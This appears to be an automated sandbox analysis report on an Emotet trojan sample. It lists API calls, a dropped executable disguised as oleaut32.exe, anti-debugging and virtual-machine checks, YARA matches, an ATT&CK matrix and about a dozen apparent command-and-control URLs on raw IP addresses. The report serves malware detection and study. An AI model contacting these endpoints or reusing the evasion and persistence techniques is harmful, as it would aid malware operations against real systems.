Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Code function: 1_2_0040E220 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,		1_2_0040E220

Source: C:\Users\user\Desktop\ExeFile (317).exe

Code function: CreateServiceW,OpenSCManagerW,CloseServiceHandle,CloseServiceHandle,

0_2_00628660

Source: C:\Users\user\Desktop\ExeFile (317).exe

Code function: 0_2_0040F510 GetUserNameW,CreateToolhelp32Snapshot,Process32FirstW,CloseHandle,CloseHandle,wsprintfW,_memset,OpenProcess,CloseHandle,wsprintfW,wsprintfW,Process32NextW,CloseHandle,

0_2_0040F510

Source: C:\Users\user\Desktop\ExeFile (317).exe

Code function: 0_2_00624F50 ChangeServiceConfig2W,GetProcessHeap,HeapFree,QueryServiceConfig2W,CloseServiceHandle,GetProcessHeap,RtlAllocateHeap,GetTickCount,GetProcessHeap,HeapFree,RtlFreeHeap,

0_2_00624F50

Source: C:\Users\user\Desktop\ExeFile (317).exe	Command line argument: win32app	0_2_0040FA80
Source: C:\Users\user\Desktop\ExeFile (317).exe	Command line argument: Run	0_2_0040FA80
Source: C:\Users\user\Desktop\ExeFile (317).exe	Command line argument: win32app	0_2_0040FA80
Source: C:\Users\user\Desktop\ExeFile (317).exe	Command line argument: BUTTON	0_2_0040FA80
Source: C:\Users\user\Desktop\ExeFile (317).exe	Command line argument: BUTTON	0_2_0040FA80
Source: C:\Users\user\Desktop\ExeFile (317).exe	Command line argument: BUTTON	0_2_0040FA80
Source: C:\Users\user\Desktop\ExeFile (317).exe	Command line argument: win32app	0_2_0040FA80
Source: C:\Users\user\Desktop\ExeFile (317).exe	Command line argument: Edit	0_2_0040FA80
Source: C:\Users\user\Desktop\ExeFile (317).exe	Command line argument: BUTTON	0_2_0040FA80
Source: C:\Users\user\Desktop\ExeFile (317).exe	Command line argument: Cancel	0_2_0040FA80
Source: C:\Users\user\Desktop\ExeFile (317).exe	Command line argument: BUTTON	0_2_0040FA80
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Command line argument: win32app	1_2_0040FA80
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Command line argument: Run	1_2_0040FA80
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Command line argument: win32app	1_2_0040FA80
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Command line argument: BUTTON	1_2_0040FA80
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Command line argument: BUTTON	1_2_0040FA80
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Command line argument: BUTTON	1_2_0040FA80
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Command line argument: win32app	1_2_0040FA80
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Command line argument: Edit	1_2_0040FA80
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Command line argument: BUTTON	1_2_0040FA80
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Command line argument: Cancel	1_2_0040FA80
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Command line argument: BUTTON	1_2_0040FA80

Source: ExeFile (317).exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\ExeFile (317).exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\ExeFile (317).exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: ExeFile (317).exe

ReversingLabs: Detection: 92%

Source: unknown	Process created: C:\Users\user\Desktop\ExeFile (317).exe "C:\Users\user\Desktop\ExeFile (317).exe"
Source: C:\Users\user\Desktop\ExeFile (317).exe	Process created: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe "C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe"
Source: C:\Users\user\Desktop\ExeFile (317).exe	Process created: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe "C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe"	Jump to behavior

Source: C:\Users\user\Desktop\ExeFile (317).exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ExeFile (317).exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\ExeFile (317).exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\ExeFile (317).exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\ExeFile (317).exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\ExeFile (317).exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\ExeFile (317).exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\ExeFile (317).exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\ExeFile (317).exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\ExeFile (317).exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\ExeFile (317).exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\ExeFile (317).exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\ExeFile (317).exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\ExeFile (317).exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\ExeFile (317).exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\ExeFile (317).exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\ExeFile (317).exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\ExeFile (317).exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Section loaded: winnsi.dll	Jump to behavior

Source: C:\Users\user\Desktop\ExeFile (317).exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: ExeFile (317).exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: ExeFile (317).exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: ExeFile (317).exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: ExeFile (317).exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: ExeFile (317).exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: ExeFile (317).exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: ExeFile (317).exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: A:\WindowsProcessManager-master\WindowsProcessManager-master\Release\TaskMgr.pdb source: ExeFile (317).exe
Source:	Binary string: vfwwdm32.pdb source: ExeFile (317).exe

Source: ExeFile (317).exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: ExeFile (317).exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: ExeFile (317).exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: ExeFile (317).exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: ExeFile (317).exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\ExeFile (317).exe

Code function: 0_2_00415F77 LoadLibraryW,GetProcAddress,GetProcAddress,EncodePointer,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

0_2_00415F77

Source: ExeFile (317).exe

Static PE information: real checksum: 0x744f8 should be: 0x743e3

Source: C:\Users\user\Desktop\ExeFile (317).exe	Code function: 0_2_00411EC5 push ecx; ret	0_2_00411ED8
Source: C:\Users\user\Desktop\ExeFile (317).exe	Code function: 0_2_00625C50 push ecx; mov dword ptr [esp], 00008F8Eh	0_2_00625C51
Source: C:\Users\user\Desktop\ExeFile (317).exe	Code function: 0_2_00625CF0 push ecx; mov dword ptr [esp], 00000E88h	0_2_00625CF1
Source: C:\Users\user\Desktop\ExeFile (317).exe	Code function: 0_2_00625CD0 push ecx; mov dword ptr [esp], 0000A465h	0_2_00625CD1
Source: C:\Users\user\Desktop\ExeFile (317).exe	Code function: 0_2_00625C90 push ecx; mov dword ptr [esp], 00002224h	0_2_00625C91
Source: C:\Users\user\Desktop\ExeFile (317).exe	Code function: 0_2_00625D70 push ecx; mov dword ptr [esp], 0000B4A4h	0_2_00625D71
Source: C:\Users\user\Desktop\ExeFile (317).exe	Code function: 0_2_00625D20 push ecx; mov dword ptr [esp], 0000C239h	0_2_00625D21
Source: C:\Users\user\Desktop\ExeFile (317).exe	Code function: 0_2_00625DE0 push ecx; mov dword ptr [esp], 0000272Ah	0_2_00625DE1
Source: C:\Users\user\Desktop\ExeFile (317).exe	Code function: 0_2_00625DB0 push ecx; mov dword ptr [esp], 00001190h	0_2_00625DB1
Source: C:\Users\user\Desktop\ExeFile (317).exe	Code function: 0_2_00625E40 push ecx; mov dword ptr [esp], 0000C126h	0_2_00625E41
Source: C:\Users\user\Desktop\ExeFile (317).exe	Code function: 0_2_00625EE0 push ecx; mov dword ptr [esp], 00006DE4h	0_2_00625EE1
Source: C:\Users\user\Desktop\ExeFile (317).exe	Code function: 0_2_00625EA0 push ecx; mov dword ptr [esp], 00008285h	0_2_00625EA1
Source: C:\Users\user\Desktop\ExeFile (317).exe	Code function: 0_2_00537A7E push ecx; mov dword ptr [esp], 00006DE4h	0_2_00537A7F
Source: C:\Users\user\Desktop\ExeFile (317).exe	Code function: 0_2_0053786E push ecx; mov dword ptr [esp], 0000A465h	0_2_0053786F
Source: C:\Users\user\Desktop\ExeFile (317).exe	Code function: 0_2_0053E015 push 0000003Bh; ret	0_2_0053E01A
Source: C:\Users\user\Desktop\ExeFile (317).exe	Code function: 0_2_00537A3E push ecx; mov dword ptr [esp], 00008285h	0_2_00537A3F
Source: C:\Users\user\Desktop\ExeFile (317).exe	Code function: 0_2_0053782E push ecx; mov dword ptr [esp], 00002224h	0_2_0053782F
Source: C:\Users\user\Desktop\ExeFile (317).exe	Code function: 0_2_0053788E push ecx; mov dword ptr [esp], 00000E88h	0_2_0053788F
Source: C:\Users\user\Desktop\ExeFile (317).exe	Code function: 0_2_005378BE push ecx; mov dword ptr [esp], 0000C239h	0_2_005378BF
Source: C:\Users\user\Desktop\ExeFile (317).exe	Code function: 0_2_0053794E push ecx; mov dword ptr [esp], 00001190h	0_2_0053794F
Source: C:\Users\user\Desktop\ExeFile (317).exe	Code function: 0_2_0053797E push ecx; mov dword ptr [esp], 0000272Ah	0_2_0053797F
Source: C:\Users\user\Desktop\ExeFile (317).exe	Code function: 0_2_0053790E push ecx; mov dword ptr [esp], 0000B4A4h	0_2_0053790F
Source: C:\Users\user\Desktop\ExeFile (317).exe	Code function: 0_2_005379DE push ecx; mov dword ptr [esp], 0000C126h	0_2_005379DF
Source: C:\Users\user\Desktop\ExeFile (317).exe	Code function: 0_2_005377EE push ecx; mov dword ptr [esp], 00008F8Eh	0_2_005377EF
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Code function: 1_2_00411EC5 push ecx; ret	1_2_00411ED8
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Code function: 1_2_005E5C50 push ecx; mov dword ptr [esp], 00008F8Eh	1_2_005E5C51
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Code function: 1_2_005E5CD0 push ecx; mov dword ptr [esp], 0000A465h	1_2_005E5CD1
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Code function: 1_2_005E5CF0 push ecx; mov dword ptr [esp], 00000E88h	1_2_005E5CF1
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Code function: 1_2_005E5C90 push ecx; mov dword ptr [esp], 00002224h	1_2_005E5C91
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Code function: 1_2_005E5D70 push ecx; mov dword ptr [esp], 0000B4A4h	1_2_005E5D71
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Code function: 1_2_005E5D20 push ecx; mov dword ptr [esp], 0000C239h	1_2_005E5D21

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Users\user\Desktop\ExeFile (317).exe

Executable created and started: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe

Jump to behavior

Source: C:\Users\user\Desktop\ExeFile (317).exe

PE file moved: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Users\user\Desktop\ExeFile (317).exe

File opened: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe:Zone.Identifier read attributes | delete

Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\Desktop\ExeFile (317).exe

Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

graph_0-23298

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\ExeFile (317).exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\ExeFile (317).exe	Code function: 0_2_006238B0 GetProcessHeap,HeapFree,FindFirstFileW,FindFirstFileW,FindNextFileW,FindNextFileW,FindClose,FindClose,		0_2_006238B0
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Code function: 1_2_005E38B0 _snwprintf,_snwprintf,GetProcessHeap,HeapFree,FindFirstFileW,FindFirstFileW,FindNextFileW,FindNextFileW,FindClose,FindClose,		1_2_005E38B0

Source: ExeFile (317).exe, 00000000.00000002.1675204691.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: oleaut32.exe, 00000001.00000002.2928284379.00000000005FE000.00000004.00000020.00020000.00000000.sdmp, oleaut32.exe, 00000001.00000002.2928785476.0000000002993000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: oleaut32.exe, 00000001.00000002.2928785476.0000000002970000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWH

Source: C:\Users\user\Desktop\ExeFile (317).exe	API call chain: ExitProcess graph end node	graph_0-23404
Source: C:\Users\user\Desktop\ExeFile (317).exe	API call chain: ExitProcess graph end node	graph_0-23057
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	API call chain: ExitProcess graph end node	graph_1-23200
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	API call chain: ExitProcess graph end node	graph_1-23037

Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\ExeFile (317).exe

Code function: 0_2_0040E930 LdrFindResource_U,LdrAccessResource,

0_2_0040E930

Source: C:\Users\user\Desktop\ExeFile (317).exe

Code function: 0_2_00411C5F _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00411C5F

Source: C:\Users\user\Desktop\ExeFile (317).exe

0_2_00415F77

Source: C:\Users\user\Desktop\ExeFile (317).exe	Code function: 0_2_00624D00 mov eax, dword ptr fs:[00000030h]	0_2_00624D00
Source: C:\Users\user\Desktop\ExeFile (317).exe	Code function: 0_2_00623E40 mov eax, dword ptr fs:[00000030h]	0_2_00623E40
Source: C:\Users\user\Desktop\ExeFile (317).exe	Code function: 0_2_00530456 mov eax, dword ptr fs:[00000030h]	0_2_00530456
Source: C:\Users\user\Desktop\ExeFile (317).exe	Code function: 0_2_00530C9F mov eax, dword ptr fs:[00000030h]	0_2_00530C9F
Source: C:\Users\user\Desktop\ExeFile (317).exe	Code function: 0_2_0053689E mov eax, dword ptr fs:[00000030h]	0_2_0053689E
Source: C:\Users\user\Desktop\ExeFile (317).exe	Code function: 0_2_005359DE mov eax, dword ptr fs:[00000030h]	0_2_005359DE
Source: C:\Users\user\Desktop\ExeFile (317).exe	Code function: 0_2_00641030 mov eax, dword ptr fs:[00000030h]	0_2_00641030
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Code function: 1_2_005E4D00 mov eax, dword ptr fs:[00000030h]	1_2_005E4D00
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Code function: 1_2_005E3E40 mov eax, dword ptr fs:[00000030h]	1_2_005E3E40
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Code function: 1_2_004F0456 mov eax, dword ptr fs:[00000030h]	1_2_004F0456
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Code function: 1_2_004F0C9F mov eax, dword ptr fs:[00000030h]	1_2_004F0C9F
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Code function: 1_2_004F689E mov eax, dword ptr fs:[00000030h]	1_2_004F689E
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Code function: 1_2_004F59DE mov eax, dword ptr fs:[00000030h]	1_2_004F59DE
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Code function: 1_2_020D1030 mov eax, dword ptr fs:[00000030h]	1_2_020D1030

Source: C:\Users\user\Desktop\ExeFile (317).exe

Code function: 0_2_00623060 GetProcessHeap,RtlAllocateHeap,PathFindExtensionW,

0_2_00623060

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\ExeFile (317).exe	Code function: 0_2_00411C5F _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00411C5F
Source: C:\Users\user\Desktop\ExeFile (317).exe	Code function: 0_2_004100FB IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_004100FB
Source: C:\Users\user\Desktop\ExeFile (317).exe	Code function: 0_2_00413E30 SetUnhandledExceptionFilter,	0_2_00413E30
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Code function: 1_2_00411C5F _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00411C5F
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Code function: 1_2_004100FB IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_004100FB
Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe	Code function: 1_2_00413E30 SetUnhandledExceptionFilter,	1_2_00413E30

Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\ExeFile (317).exe

Code function: 0_2_00414640 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_00414640

Source: C:\Users\user\Desktop\ExeFile (317).exe

Code function: 0_2_0040F510 GetUserNameW,CreateToolhelp32Snapshot,Process32FirstW,CloseHandle,CloseHandle,wsprintfW,_memset,OpenProcess,CloseHandle,wsprintfW,wsprintfW,Process32NextW,CloseHandle,

0_2_0040F510

Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe

Code function: 1_2_005E52E0 RtlGetVersion,GetNativeSystemInfo,GetNativeSystemInfo,

1_2_005E52E0

Source: C:\Windows\SysWOW64\KBDOLDIT\oleaut32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Emotet

Source: Yara match	File source: 1.2.oleaut32.exe.4f279e.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ExeFile (317).exe.53279e.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ExeFile (317).exe.53279e.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ExeFile (317).exe.620000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.oleaut32.exe.4f279e.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ExeFile (317).exe.53052e.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.oleaut32.exe.4f052e.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.oleaut32.exe.4f052e.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ExeFile (317).exe.53052e.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.oleaut32.exe.5e0000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1675028418.0000000000621000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2928201935.00000000004F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1674963737.0000000000530000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1675139231.0000000000644000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2928249226.00000000005E1000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2928434199.00000000020D4000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	2 Windows Service	1 Access Token Manipulation	12 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	22 Encrypted Channel	Exfiltration Over Other Network Medium	1 Data Encrypted for Impact
Credentials	Domains	Default Accounts	1 Service Execution	1 DLL Side-Loading	2 Windows Service	1 Access Token Manipulation	LSASS Memory	21 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	11 Native API	Logon Script (Windows)	1 Process Injection	1 Process Injection	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 DLL Side-Loading	1 Hidden Files and Directories	NTDS	1 Account Discovery	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	1 System Owner/User Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	2 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 File Deletion	DCSync	15 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
ExeFile (317).exe	92%	ReversingLabs	Win32.Trojan.Emotet
ExeFile (317).exe	100%	Avira	HEUR/AGEN.1318091
ExeFile (317).exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://157.245.99.39:8080/vBtfrqns/	0%	Avira URL Cloud	safe
http://94.23.216.33/FJlVHXJ3dGgmVB/8	0%	Avira URL Cloud	safe
https://94.23.237.171:443/IBDjcvxbhNBv3Y/nqDclyv1OKh853Z8d/c8YC/	0%	Avira URL Cloud	safe
http://120.138.30.150:8080/XM2S/YtKcHIPmeYw/zztkv5g94Hw7/wVekA0ARv8Buud2oB0A/Jr6A//h	0%	Avira URL Cloud	safe
http://137.59.187.107:8080/wzgMAgU4yK/hQXJ38hJBg9WpF6jbBc/gW3V6lKMdT6RlX5g/E	0%	Avira URL Cloud	safe
http://157.245.99.39:8080/vBtfrqns/b	0%	Avira URL Cloud	safe
http://156.155.166.221/Bv1B9ylSi3H6NCCiJn/t8krQUl7Omx/4yDaS/HAGZlQasHt6y1VO9/UZSvyEhhdIu8Ap/	0%	Avira URL Cloud	safe
http://134.209.36.254:8080/Jg04eNfDVrhItWur/	0%	Avira URL Cloud	safe
http://137.59.187.107:8080/wzgMAgU4yK/hQXJ38hJBg9WpF6jbBc/gW3V6lKMdT6RlX5g/	0%	Avira URL Cloud	safe
http://120.138.30.150:8080/XM2S/YtKcHIPmeYw/zztkv5g94Hw7/wVekA0ARv8Buud2oB0A/Jr6A/K8A/	0%	Avira URL Cloud	safe
http://94.23.216.33/FJlVHXJ3dGgmVB/	0%	Avira URL Cloud	safe
http://71.72.196.159/aoKx6lT2Eqq9moIppG/ExQB/6Redr3THd8vjzdN/FzfGJ5z/btYoJOlmO4gRopK8A/	0%	Avira URL Cloud	safe
http://120.138.30.150:8080/XM2S/YtKcHIPmeYw/zztkv5g94Hw7/wVekA0ARv8Buud2oB0A/Jr6A/	0%	Avira URL Cloud	safe
http://157.245.99.39:8080/vBtfrqns/&	0%	Avira URL Cloud	safe
http://120.138.30.150:8080/XM2S/YtKcHIPmeYw/zztkv5g94Hw7/wVekA0ARv8Buud2oB0A/Jr6A/)	0%	Avira URL Cloud	safe
http://156.155.166.221/Bv1B9ylSi3H6NCCiJn/t8krQUl7Omx/4yDaS/HAGZlQasHt6y1VO9/UZSvyEhhdIu8Ap/ET	0%	Avira URL Cloud	safe
http://120.138.30.150:8080/XM2S/YtKcHIPmeYw/zztkv5g94Hw7/wVekA0ARv8Buud2oB0A/Jr6A/7	0%	Avira URL Cloud	safe
